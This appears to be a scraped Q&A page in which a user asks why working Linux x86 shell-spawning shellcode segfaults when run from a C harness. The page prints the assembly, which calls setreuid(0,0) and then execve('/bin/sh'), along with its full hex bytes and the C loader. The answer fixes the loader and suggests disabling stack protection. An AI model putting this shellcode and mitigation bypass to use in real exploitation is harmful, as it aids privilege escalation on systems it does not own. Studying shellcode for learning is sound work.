Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

How can I turn this into shellcode?

Aright I wrote an ASM file that spawns a shell.

However, the .text section becomes "READONLY", so I'm keeping everything in the .data section. When I compile it with NASM and ld, it works perfectly. Then, when I use the shellcode and run it in a C program, I seg fault.

ASM:

SECTION .data
        global _start
_start:
        xor eax, eax
        xor ebx, ebx
        xor ecx, ecx
        xor edx, edx
        mov al, 70d
        int 80h
        jmp jump
rev:
        pop ebx
        xor eax, eax
        mov BYTE [ebx+7], al
        mov DWORD [ebx+8], ebx
        mov DWORD [ebx+12], eax
        mov al, 11d
        lea ecx, [ebx+8]
        lea edx, [ebx+12]
        int 80h
jump:
        call rev
shell: db "/bin/sh011112222"

When I compile it with:

nasm -f elf32 -o temporary_file.o
ld -s -m elf_i386 -o shell temporary_file.o

Everything works perfectly. I can ./shell and a shell spawns. However, when i use:

objdump -D shell (objdump -d shell doesn't show the .data section)

And change that into \x?? format, I cannot exectute the shell. Shellcode:

\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x30\x31\x31\x31\x31\x32\x32\x32\x32

And in the C file:

#include <stdio.h>
unsigned char * shellcode = "\x31\xc0\x31\xdb\x31\xc9\x31...";

int main(){
        printf("[~] Shellcode length (bytes): %d\n", strlen(shellcode));
        ((void(*)(void))shellcode)();
        return 0;
}

Seg fault.

Here is the first few lines of the strace output of the NASM compiled file:

[root@Arch tut]# strace ./exec
execve("./exec", ["./exec"], [/* 25 vars */]) = 0
[ Process PID=30445 runs in 32 bit mode. ]
setreuid(0, 0)                          = 0
execve("/bin/sh", ["/bin/sh"], [/* 3 vars */]) = 0
[ Process PID=30445 runs in 64 bit mode. ]

Now, here is the strace output of the C compiled file with the shellcode:

[root@Arch tut]# strace ./shell
execve("./shell", ["./shell"], [/* 25 vars */]) = 0
brk(0)                                  = 0x238b000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
like image 693
Goodies Avatar asked Oct 02 '22 22:10

Goodies


1 Answers

In your c program, replace:

unsigned char * shellcode = "\x31\xc0\x31\xdb\x31\xc9\x31...";

with

unsigned char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x31...";

Otherwise gcc will put it in a readonly section (compile with -S to produce asm and take a look at the section)

Furthermore, you might need to compile it with -fno-stack-protector -z execstack to avoid stack protection.

like image 128
ccKep Avatar answered Oct 05 '22 13:10

ccKep